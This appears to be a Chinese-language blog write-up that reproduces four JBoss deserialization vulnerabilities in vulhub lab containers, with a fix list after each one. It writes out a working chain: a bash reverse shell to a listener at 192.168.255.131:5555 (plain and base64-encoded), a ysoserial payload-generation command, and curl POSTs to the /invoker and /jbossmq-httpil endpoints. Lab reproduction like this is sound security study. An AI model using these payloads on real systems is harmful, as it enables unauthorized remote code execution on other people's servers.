JBoss漏洞总结复现

简介

Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080

JBoss发序列化漏洞(CVE-2017-12149)

漏洞描述

JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

漏洞原理

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响范围

Jboss AS 5.x
Jboss AS 6.x

漏洞复现

环境:vulhub,进入对应的目录后 docker-compose up -d启动容器
访问http://192.168.255.128:8080,环境搭建完成。
image-20211008171844279
验证漏洞:访问http://192.168.255.128:8080/invoker/readonly若出现以下页面,则存在漏洞。http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。
image-20211008171718419
使用工具ysoserial来生成序列化数据,构造POC,使用bash反弹Shell,nc接受反弹回来的Shell。
exp:

bash -c `bash -i >& /dev/tcp/192.168.255.131/5555 0>&1`

需要进行编码,直接传参数ysoserial会处理换行。
http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c {
    
    echo,YmFzaCAtYyBgYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xMzEvNTU1NSAwPiYxYA==}|{
    
    base64,-d}|{
    
    bash,-i}

生成payload。

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtYyBgYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xMzEvNTU1NSAwPiYxYA==}|{base64,-d}|{bash,-i}" > poc.ser

image-20211008173841570
将payload序列化后的数据发送到服务器,服务器收到序列化数据后会反序列化,触发payload,即可获取shell。
1、通过curl发起post请求。
curl http://192.168.255.128:8080/invoker/readonly --data-binary @poc.ser
出现问题了,利用CommonsCollections1库生成的payload利用失败了。
image-20211008174804439
换成CommonsCollections6库生成的payload,利用成功。(根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库)
image-20211008175031580
2、通过burpsuite post请求。
image-20211008180500732

修复建议

1、升级至不受影响的版本。
2、删除http-invoker.sar 组件。
3、添加如下代码至 http-invoker.sar 下 web.xml的security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。

JBossMQ JMS反序列化漏洞(CVE-2017-7504)

漏洞描述

CVE-2017-7504为JBossMQ JMS反序列化漏洞,利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

漏洞原理

CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

影响范围

Jboss AS 4.x及之前版本

复现过程

环境:vulhub进入对应的目录后docker-compose up -d
访问http://192.168.255.128:8080/,环境搭建完成。
image-20211008183543215
验证漏洞
访问http://192.168.255.128:8080/jbossmq-httpil/HTTPServerILServlet。
若出现如下界面,则存在漏洞。
image-20211008183723890
使用nc打开端口监听,再用之前生成的poc2.ser文件,通过POST二进制数据上去,即可拿到shell。
curl http://192.168.255.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc2.ser
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6n79fOyX-1633701865324)(http://photo.1ance.xyz/JBoss/image-20211008184035492.png)]

修复建议

1、升级至最新版本。

JBoss JMXInvokerServlet反序列化漏洞(CVE-2015-7501)

漏洞描述

利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

漏洞原理

CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

复现过程

环境:vulhub,进入对应的目录后docker-compose up -d
访问/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。
image-20211008185149414
使用nc打开端口监听,再用之前生成的poc2.ser文件,通过POST二进制数据上去,即可拿到shell。
curl http://192.168.255.128:8080/invoker/JMXInvokerServlet --data-binary @poc2.ser
image-20211008185510040

修复建议

1、升级至不受影响的版本或者及时打上官方补丁。
2、设置中间件的访问控制权限,禁止web访问/invoker目录。

JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

漏洞描述

此漏洞和 CVE-2015-7501 漏洞原理相同,两者的区别就在于两个漏洞选择的路径,其中JMXInvok erServlet 和 EJBInvokerServlet 利用的是 org.jboss.invocation.MarshalledValue 进行的反序列化操作,而 web-console/Invoker 利用的是 org.jboss.console.remote.RemoteMBeanInvocation 进行反序列化并上传构造的文件。

影响范围

jboss 6.x 版本

复现过程

环境:vulhub,使用CVE-2015-7501的环境。
访问http://192.168.255.128:8080/invoker/EJBInvokerServlet返回如下,说明接口开放,此接口存在反序列化漏洞。
image-20211008191445597
利用方式同上,换成/invoker/EJBInvokerServlet路径即可。

修复建议

1、不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:\server\default\deploy\http-invoker.sar
2、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint标签中,对http invoker 组件进行访问控制:
/*
路径为:\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

总结

JBoss存在的漏洞有很多,这里总结主要是对一些常见的漏洞复现和分析(主要是vulhub上的环境)当然了目前网上都有很多自动化的检测和利用工具,这里手动验证是为了加深印象;漏洞的原理很多都是参考大佬们的文章,个人其实还是有很多不是很理解(菜狗)这里对大佬们表示衷心的感谢。后续继续补充其他漏洞复现。

Guess you like

Origin blog.csdn.net/weixin_44033675/article/details/120661041